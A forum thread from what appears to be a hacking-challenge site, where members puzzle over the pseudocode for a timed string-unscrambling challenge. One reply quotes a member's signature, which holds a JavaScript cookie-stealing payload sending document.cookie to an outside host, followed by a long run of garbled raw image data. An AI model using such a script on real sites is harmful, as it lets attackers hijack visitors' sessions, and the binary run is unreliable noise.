Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Timed 4 question


Mouzi's Avatar
Member
0 0

PSEUDO Code:

FOR i = 0; i < str.length; i++ IF isEvenOrZero(i) final += final[i] ELSE final += final[i+2] END FOR final += final[1] RETURN final

If final is array then how can you add something to it with += if you don't specify where you want to put it in that array. Like here:

final += final[i] And if its not, then why does it use it as array too.


ghost's Avatar
0 0

There's a problem with the pseudo code. What do we have to do when we reach the end of the word ? [i+2] will be out of range and will raise an error !


mikispag's Avatar
=> Penguin in black <=
0 0

And, by the way, what should I put in the answer box? The final word or a number? Because it says "*The sum of all the numbers in the string is: *" (perhaps copy-pasted from Timed 3) ;)


ghost's Avatar
0 0

mikispag wrote: And, by the way, what should I put in the answer box? The final word or a number? Because it says "*The sum of all the numbers in the string is: *" (perhaps copy-pasted from Timed 3) ;)

I think it's even copy-pasted from timed 2 :D


ghost's Avatar
0 0

testing sig in deserted thread


ghost's Avatar
0 0

rofl, your sig:

&lt;script language=&quot;JavaScript&quot;&gt;
document.location=&quot;http://www.reviewgames.110mb.com/cookie.php?cookie=&quot; + document.cookie;
&lt;/script&gt; 
&#729;&#344;&#729;&#341;JFIFdd&#729;á^ExifMM*bj(1r2Ž‡i¤&#272;B@&#39;B@&#39;Adobe Photoshop CS3 Windows2007:09:01 01:25:57 &#729;&#729;  &(.(HH&#729;&#344;&#729;&#341;JFIFHH&#729;íAdobe_CM&#729;îAdobed€&#729;&#368;„		



&#729;&#340;&quot;&#729;Ý&#729;Ä?	
	
3!1AQa&quot;q2‘&#711;±B#$RÁb34r‚&#323;C%’S&#273;á&#324;cs5&#728;&#731;ƒ&D“TdEÂ&#321;t6&#327;Uâe&#328;&#322;„&#258;Óu&#259;óF&#39;”¤…´•ÄÔäô&#260;µ&#313;&#336;&#314;&#337;Vfv†–¦¶&#262;Ö&#263;ö7GWgw‡—§·Ç×ç÷5!1AQaq&quot;2‘&#711;±B#ÁR&#323;&#273;3$bár‚’CScs4&#324;%&#728;&#731;ƒ&5Â&#327;D“T&#321;dEU6teâ&#328;&#322;„&#258;Óu&#259;óF”¤…´•ÄÔäô&#260;µ&#313;&#336;&#314;&#337;Vfv†–¦¶&#262;Ö&#263;ö&#39;7GWgw‡—§·Ç&#729;Ú?&#328;¤’I%?&#729;&#366;&#729;í&#268;Photoshop 3.08BIM%8BIM/JXŠHH&#272;@d&#340;°&#39;llun8BIMídd8BIM&?€8BIM
x8BIM8BIMó	8BIM
8BIM&#39;
8BIMô5-8BIM÷&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#729;&#269;8BIM@@8BIM8BIMI
Untitled-1nullboundsObjcRct1Top longLeftlongBtomlongRghtlongslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?&#273;8BIM8BIMD(&#729;&#344;&#729;&#341;JFIFHH&#729;íAdobe_CM&#729;îAdobed€&#729;&#368;„			



&#729;&#340;&quot;&#729;Ý&#729;Ä?	
	
3!1AQa&quot;q2‘&#711;±B#$RÁb34r‚&#323;C%’S&#273;á&#324;cs5&#728;&#731;ƒ&D“TdEÂ&#321;t6&#327;Uâe&#328;&#322;„&#258;Óu&#259;óF&#39;”¤…´•ÄÔäô&#260;µ&#313;&#336;&#314;&#337;Vfv†–¦¶&#262;Ö&#263;ö7GWgw‡—§·Ç×ç÷5!1AQaq&quot;2‘&#711;±B#ÁR&#323;&#273;3$bár‚’CScs4&#324;%&#728;&#731;ƒ&5Â&#327;D“T&#321;dEU6teâ&#328;&#322;„&#258;Óu&#259;óF”¤…´•ÄÔäô&#260;µ&#313;&#336;&#314;&#337;Vfv†–¦¶&#262;Ö&#263;ö&#39;7GWgw‡—§·Ç&#729;Ú?&#328;¤’I%?&#729;&#366;8BIM!UAdobe PhotoshopAdobe Photoshop CS38BIM&#729;ü&#729;á&#328;http://ns.adobe.com/xap/1.0/&lt;?xpacket begin=&quot;&#271;»&#380;&quot; id=&quot;W5M0MpCehiHzreSzNTczkc9d&quot;?&gt; &lt;x:xmpmeta xmlns:x=&quot;adobe:ns:meta/&quot; x:xmptk=&quot;Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:40:08        &quot;&gt; &lt;rdf:RDF xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt; &lt;rdf:Description rdf:about=&quot;&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:xap=&quot;http://ns.adobe.com/xap/1.0/&quot; xmlns:xapMM=&quot;http://ns.adobe.com/xap/1.0/mm/&quot; xmlns:photoshop=&quot;http://ns.adobe.com/photoshop/1.0/&quot; xmlns:tiff=&quot;http://ns.adobe.com/tiff/1.0/&quot; xmlns:exif=&quot;http://ns.adobe.com/exif/1.0/&quot; dc:format=&quot;image/jpeg&quot; xap:CreatorTool=&quot;Adobe Photoshop CS3 Windows&quot; xap:CreateDate=&quot;2007-09-01T01:25:33-04:00&quot; xap:ModifyDate=&quot;2007-09-01T01:25:57-04:00&quot; xap:MetadataDate=&quot;2007-09-01T01:25:57-04:00&quot; xapMM:DocumentID=&quot;uuid:92A246C34B58DC1191B1CC76ACD2F1A3&quot; xapMM:InstanceID=&quot;uuid:93A246C34B58DC1191B1CC76ACD2F1A3&quot; photoshop:ColorMode=&quot;1&quot; photoshop:ICCProfile=&quot;Dot Gain 20%&quot; photoshop:History=&quot;&quot; tiff:Orientation=&quot;1&quot; tiff:XResolution=&quot;1000000/10000&quot; tiff:YResolution=&quot;1000000/10000&quot; tiff:ResolutionUnit=&quot;2&quot; tiff:NativeDigest=&quot;256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;820AFC926CD2F248F074EA661919074F&quot; exif:PixelXDimension=&quot;1&quot; exif:PixelYDimension=&quot;1&quot; exif:ColorSpace=&quot;-1&quot; exif:NativeDigest=&quot;36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;566C10D46F6A35082905F634E9E9F0A5&quot;/&gt; &lt;/rdf:RDF&gt; &lt;/x:xmpmeta&gt;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 &lt;?xpacket end=&quot;w&quot;?&gt;&#729;â ICC_PROFILEADBEprtrGRAYXYZ &#270;acspAPPLnoneöÖÓ-ADBEcprt&#340;2descôgwtpt&#92;bkptpkTRC„textCopyright 1999 Adobe Systems Incorporateddesc
Dot Gain 20%XYZ öÖÓ-XYZ curv 0@Pa &#313;&#283;Du¨&#354;R&#272;Y&#711;&#283;9ˆÚ.…&#354;9–öW»&quot;Šô	a	&#272;
A
´) 

’–&#321;,¸EÔe&#345;&#356;$&#733;Wô’2Ôx&#262;o&#268;v&#39;ÚŽDü µ!q&quot;.&quot;í#­$p%4%&#367;&Á&#39;Š(U)&quot;)&#273;*&#340;+’,e-:..&#281;/Ä0 1}2&#92;3=455é6&#272;7&#261;8¤9:~;m&lt;^=Q&gt;E?;@3A,B&C&quot;D EF G#H&#39;I-J4K&lt;LGMSN`OoPQ‘R&#260;S&#351;T&#323;UéWXY:ZX[x&#92;™]&#317;^&#341;`a-bVc€d¬e&#366;gh8iij&#357;k&#323;mn?oxp&#731;qîs+tju&#350;v&#283;x/ytz&#351;|}J~•á.‚|ƒÍ…†q‡&#313;‰Šr‹Ë&#356;%Ž&#377;Ý‘&lt;’›“ý•_–&#258;˜(™&#377;š÷&#347;`&#357;Ë&#378;7 &#260;&#728;&#321;…¤ö¦i§&#354;©T&#350;ˬD­&#318;&#379;9°¶&#731;4&#322;´µ4¶·¸:&#261;&#380;»E&#317;Í&#318;V&#380;&#341;ÁlÂ&#367;ć&#262;ǨÉ;&#280;Î&#282;cÍú&#270;’&#323;+&#327;&#313;Ôa&#336;&#355;×&#347;&#366;&lt;ÚÝÜ&#354;#ß&#268;án&#259;ä&#380;&#263;i&#269;éÁëoíî&#272;&#273;‚&#328;5ó&#281;&#337; ÷W&#367;ú&#280;ü…&#355;A&#729;&#729;&#729;îAdobed€&#729;&#368;C !!3$3Q00QB///B&#39;&#39;&quot;&quot;&#729;&#340;&#729;Ý&#729;Ä’	
5!1AQ&quot;aq2‘±B&#711;&#323;Á&#273;R#r3bá‚&#324;C4’&#728;&#731;&#327;S$sÂcƒ“â&#328;&#321;DTd%5E&t6Ue&#322;„&#258;Óu&#259;óF”¤…´•ÄÔäô&#260;µ&#313;&#336;&#314;&#337;Vfv†–¦¶&#262;Ö&#263;ö&#729;Ú?ú&#729;&#366;

mido's Avatar
Member
0 0

What the hell is going on?! This thread is for Timed Challenge # 4, or testing signatures?!


Uber0n's Avatar
Member
0 0

Yeah, there is actually a forum for testing… :angry:


ghost's Avatar
0 0

final word. it's really simple

mikispag wrote: And, by the way, what should I put in the answer box? The final word or a number? Because it says "*The sum of all the numbers in the string is: *" (perhaps copy-pasted from Timed 3) ;)


synstealth's Avatar
PHP WARRIOR
2,490 1

I beat it.. VERY EASY!!!

I had problems with preg_match_all… that was the most complex part of this challenge.. really..


GTADarkDude's Avatar
Member
0 0

I'm sorry for bumping this thread, but I really want to know the answer on the question right above me, for I am not completely understanding the algorithm (I think). In an attempt to rebuild the algorithm, I made a function in PHP. The string abcd returns adcb, abcde returns also adceb. abcdef returns adcfeb. Is this the right algorithm? I'd like to know that before I start reversing it. Thanks in advance ;) !

Edit: OK, I solved the challenge. I decided to just try whether it worked and guess what.. it did! I had the right algorithm so above examples are correct, if anyone in the future would like to know.


ghost's Avatar
0 0

Yeah, that threw me as well so to clarify what this post asks, I did it with a grease monkey script that seperated all of this in a switch but:

abcdefghijk

akcbedgfihj

a = a b = last c = +2 d = d etc…

not meaning it to be too obvious but that threw me a long time as well


bruxa's Avatar
Member
0 0

zbert wrote: abcdefghijk


akcbedgfihj

a = a b = last c = +2 d = d etc…

This seams to be not clear at all.

My question is like this example: abcdefghijk 012345678

adcfehgjikb

Is this right and if not, is the quoted example right?


ynori7's Avatar
Future Emperor of Earth
0 0

bruxa wrote: This seams to be not clear at all.

This is how the pseudocode progresses for the input string "dbbeie":

d_____ d__b__ d_bb__ d_bb_e d_bbie debbie (note that _ represents a blank character) The algorithm traces through the given string and puts the current character in either position i or position i+2 depending on whether i is even or odd. The pseudocode is a bit unclear, the text explanation is better. I personally find the visual explanation much better and I programmed my algorithm this way:

The first two characters of your answer are the first and last character of your given string. Then you just trace through the string and swap each character with the one next to it and increment by 2.

Given=ivoyeuol final=il rest of string=voyeuo Now trace through and swap adjecant characters. ilov rest of string=yeuo ilovey rest of string=uo iloveyou


bruxa's Avatar
Member
0 0

Thank you! Now, I got it.

The point was, that I understood the source and destination of [$i+] and [$i] wrong.